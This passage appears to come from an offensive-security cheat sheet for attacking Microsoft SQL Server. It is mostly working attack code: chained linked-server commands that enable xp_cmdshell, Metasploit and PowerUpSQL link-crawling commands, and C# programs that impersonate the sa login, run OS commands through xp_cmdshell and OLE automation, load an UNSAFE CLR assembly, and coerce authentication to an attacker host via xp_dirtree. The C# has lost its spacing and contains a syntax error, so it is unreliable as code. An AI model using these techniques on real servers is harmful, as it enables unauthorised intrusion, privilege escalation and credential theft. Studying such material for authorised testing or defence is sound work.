SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name ='IMPERSONATE';
Exec code from SQLSRV00 when SQLSRV01 and SQLSRV02 are linked like this SQLSRV00 -> SQLSRV01 -> SQLSRV02:
EXEC sp_serveroption 'SQLSRV01','rpc','true';EXEC sp_serveroption 'SQLSRV01','rpc out','true';EXEC ('select SYSTEM_USER;') AT [SQLSRV01];EXEC ('EXEC (''select SYSTEM_USER;'') AT [SQLSRV02];') AT [SQLSRV01];EXEC ('EXEC sp_configure ''show advanced options'',1; RECONFIGURE; EXEC sp_configure ''xp_cmdshell'',1; RECONFIGURE;') AT [SQLSRV01];EXEC ('EXEC (''EXEC sp_configure ''''show advanced options'''',1; RECONFIGURE; EXEC sp_configure ''''xp_cmdshell'''',1; RECONFIGURE;'') AT [SQLSRV02];') AT [SQLSRV01];EXEC ('EXEC xp_cmdshell ''cmd /c ping -n 2 10.10.13.37'';') AT [SQLSRV01];EXEC ('EXEC (''EXEC xp_cmdshell ''''cmd /c ping -n 2 10.10.13.37'''';'') AT [SQLSRV02];') AT [SQLSRV01];
Abusing server links from C# code:
SqlCrawlLinks.cs
usingSystem;usingSystem.Data.SqlClient;namespaceSqlCrawlLinks{classProgram {staticstringsqlQuery(string query,SqlConnection con) {SqlCommand command =newSqlCommand(query, con);SqlDataReader reader =command.ExecuteReader();string result ="";try {while (reader.Read()) { result +=$"{reader[0]}\n"; } result =result.Remove(result.Length-1); }catch { }reader.Close();return result; }staticvoidMain(string[] args) { // Authenticatestring sqlServer ="SQLSRV01.corp1.com";string database ="master";string conString =$"Server = {sqlServer}; Database = {database}; Integrated Security = True;";SqlConnection con =newSqlConnection(conString);try {con.Open();Console.WriteLine("[+] Auth success!"); }catch {Console.WriteLine("[-] Auth failed");Environment.Exit(0); } // List linked serversstring result =sqlQuery("EXEC sp_linkedservers;", con);Console.WriteLine($"[*] Linked SQL servers:\n{result}"); // Enumerate current login on the linked server result =sqlQuery("select login from openquery(\"SQLSRV02\", 'select SYSTEM_USER as login');", con);Console.WriteLine($"[*] Executing as the login {result} at SQLSRV02"); // Enable xp_cmdshell on the linked serversqlQuery("EXEC ('EXEC sp_configure ''show advanced options'',1; RECONFIGURE; EXEC sp_configure ''xp_cmdshell'',1; RECONFIGURE;') AT [SQLSRV02];", con); // RCE via EXEC at on the linked server result =sqlQuery("EXEC ('EXEC xp_cmdshell ''whoami'';') AT [SQLSRV02];", con);Console.WriteLine($"[*] xp_cmdshell at SQLSRV02 via EXEC AT: {result}"); // RCE via OPENQUERY on the linked serversqlQuery("select 1 from openquery(\"SQLSRV02\", 'select 1; EXEC sp_configure ''show advanced options'',1; reconfigure; EXEC sp_configure ''xp_cmdshell'',1; reconfigure;');", con)sqlQuery("select 1 from openquery(\"SQLSRV02\", 'select 1; EXEC xp_cmdshell ''cmd /c ping -n 2 10.10.13.37'';');", con); // Double-hop RCE on the target server (SQLSRV01) from the linked server (SQLSRV02)sqlQuery("EXEC ('EXEC (''EXEC sp_configure ''''show advanced options'''',1; RECONFIGURE; EXEC sp_configure ''''xp_cmdshell'''',1; RECONFIGURE;'') AT [SQLSRV01];') AT [SQLSRV02];", con);sqlQuery("EXEC ('EXEC (''EXEC xp_cmdshell ''''cmd /c ping -n 2 10.10.13.37'''';'') AT [SQLSRV01];') AT [SQLSRV02];", con);con.Close(); } }}
Crawl links with MSF:
msf > use exploit/windows/mssql/mssql_linkcrawler
msf exploit(windows/mssql/mssql_linkcrawler) > set RHOSTS 192.168.1.11
msf exploit(windows/mssql/mssql_linkcrawler) > set USERNAME sa
msf exploit(windows/mssql/mssql_linkcrawler) > set PASSWORD Passw0rd!
msf exploit(windows/mssql/mssql_linkcrawler) > set DEPLOY true
msf exploit(windows/mssql/mssql_linkcrawler) > set VERBOSE true
msf exploit(windows/mssql/mssql_linkcrawler) > run
Crawl links with PowerUpSQL:
PS > Get-SQLInstanceDomain | Get-SQLConnectionTest
PS > Get-SQLServerInfo -Instance "sqlsrv01.megacorp.local,1433"
PS > Get-SQLQuery -Instance "sqlsrv01.megacorp.local,1433" -Query "select * from openquery(""sqlsrv02.megacorp.local"", 'select * from information_schema.tables')"
PS > Get-SQLServerLinkCrawl -Instance "sqlsrv01.megacorp.local,1433"
PS > Get-SQLServerLinkCrawl -Instance "sqlsrv01.megacorp.local,1433" -Query "SELECT * FROM master..syslogins" | ft
PS > Get-SQLServerLinkCrawl -Instance "sqlsrv01.megacorp.local\SQLEXPRESS" -Username sa -Password "Passw0rd!" -Query "SELECT name FROM master..sysdatabases"
usingSystem;usingSystem.Data.SqlClient;namespaceMSSQL{classProgram {staticstringsqlQuery(string query,SqlConnection con) {SqlCommand command =newSqlCommand(query, con);SqlDataReader reader =command.ExecuteReader();string result ="";try {while (reader.Read()) { result +=$"{reader[0]}\n"; } result =result.Remove(result.Length-1); }catch { }reader.Close();return result; }staticvoidMain(string[] args) { // Authenticatestring sqlServer ="SQLSRV01.megacorp.local";string database ="master";string conString =$"Server = {sqlServer}; Database = {database}; Integrated Security = True;";SqlConnection con =newSqlConnection(conString);try {con.Open();Console.WriteLine("[+] Auth success!"); }catch {Console.WriteLine("[-] Auth failed");Environment.Exit(0); } // Enumerate login name (SQL Server login or Domain/Windows username)string result =sqlQuery("SELECT SYSTEM_USER;", con);Console.WriteLine($"[*] Logged in as: {result}"); // Enumerate database username result =sqlQuery("SELECT USER;", con);Console.WriteLine($"[*] Mapped to the user: {result}"); // Check if we have public role assigned result =sqlQuery("SELECT IS_SRVROLEMEMBER('public');", con);Int32 val =Int32.Parse(result.ToString());if (val ==1) {Console.WriteLine("[*] User is a member of public role"); }else {Console.WriteLine("[*] User is NOT a member of public role"); } // Invoke xp_dirtree to coerce authentication on attacker's machinestring lhost =args[0];sqlQuery($@"EXEC master..xp_dirtree '\\{lhost}\test';", con);Console.WriteLine($"[*] Invoked xp_dirtree against {lhost}"); // Enumerate logins that we can impersonate result =sqlQuery("SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';", con);Console.WriteLine($"[*] Logins that can be impersonated:\n{result}"); // Impersonate sa user result =sqlQuery("EXECUTE AS LOGIN = 'sa'; SELECT SYSTEM_USER;", con);Console.WriteLine($"[*] Executing in context of impersonated user: {result}"); // Impersonate dbo database user result =sqlQuery("use msdb; EXECUTE AS USER = 'dbo'; SELECT USER;", con);Console.WriteLine($"[*] Executing in context of impersonated login: {result}"); // Execute OS commands via xp_cmdshellsqlQuery("EXECUTE AS LOGIN = 'sa';", con);sqlQuery("EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;", con);Console.WriteLine("[+] Enabled xp_cmdshell"); result =sqlQuery("EXEC xp_cmdshell whoami", con);Console.WriteLine($"[*] xp_cmdshell: {result}"); // Execute OS commands via Ole Automation ProceduressqlQuery("EXECUTE AS LOGIN = 'sa';", con);sqlQuery("EXEC sp_configure 'Ole Automation Procedures',1; RECONFIGURE; ", con);sqlQuery(@"DECLARE @myshell INT; EXEC sp_oacreate 'wscript.shell', @myshell OUTPUT; EXEC sp_oamethod @myshell, 'run', null, 'cmd /c echo Test > C:\Windows\Tasks\out.txt';", con);con.Close(); } }}
Custom Assemblies
Load and trigger custom assembly:
SqlCustomAssembly.cs
usingSystem;usingSystem.Data.SqlClient;namespaceSqlProcedure{classProgram {staticstringsqlQuery(string query,SqlConnection con) {SqlCommand command =newSqlCommand(query, con);SqlDataReader reader =command.ExecuteReader();string result ="";try {while (reader.Read()) { result +=$"{reader[0]}\n"; } result =result.Remove(result.Length-1); }catch { }reader.Close();return result; }staticvoidMain(string[] args) { // Authenticatestring sqlServer ="SQLSRV01.megacorp.local";string database ="master";string conString =$"Server = {sqlServer}; Database = {database}; Integrated Security = True;";SqlConnection con =newSqlConnection(conString);try {con.Open();Console.WriteLine("[+] Auth success!"); }catch {Console.WriteLine("[-] Auth failed");Environment.Exit(0); } // Impersonate sa usersqlQuery("EXECUTE AS LOGIN = 'sa';", con); // Drop existing procedure and assemblysqlQuery(@"use msdb; DROP PROCEDURE IF EXISTS SqlCmdExec;", con);sqlQuery(@"use msdb; DROP ASSEMBLY IF EXISTS myAssembly1;", con); // Enable CLR integrationsqlQuery("use msdb; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'clr enabled',1; RECONFIGURE; EXEC sp_configure 'clr strict security',0; RECONFIGURE;", con);Console.WriteLine("[+] Enabled CLR integration"); // Create new assemblysqlQuery(@"CREATE ASSEMBLY myAssembly1 FROM 'C:\Windows\Tasks\SqlCmdExec.dll' WITH PERMISSION_SET = UNSAFE;", con); //sqlQuery(@"CREATE ASSEMBLY my_assembly FROM 0x31337... WITH PERMISSION_SET = UNSAFE;", con);Console.WriteLine("[+] Created new assembly"); // Create new proceduresqlQuery(@"CREATE PROCEDURE [dbo].[SqlCmdExec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [myAssembly1].[StoredProcedures].[SqlCmdExec];", con);Console.WriteLine("[+] Created new procedure"); // Trigger custom class for RCEstring result =sqlQuery("EXEC SqlCmdExec 'whoami';", con);Console.WriteLine($"[*] SqlCmdExec: {result}");con.Close(); } }}
Custom assembly code example (must be compiled to SqlCmdExec.dll):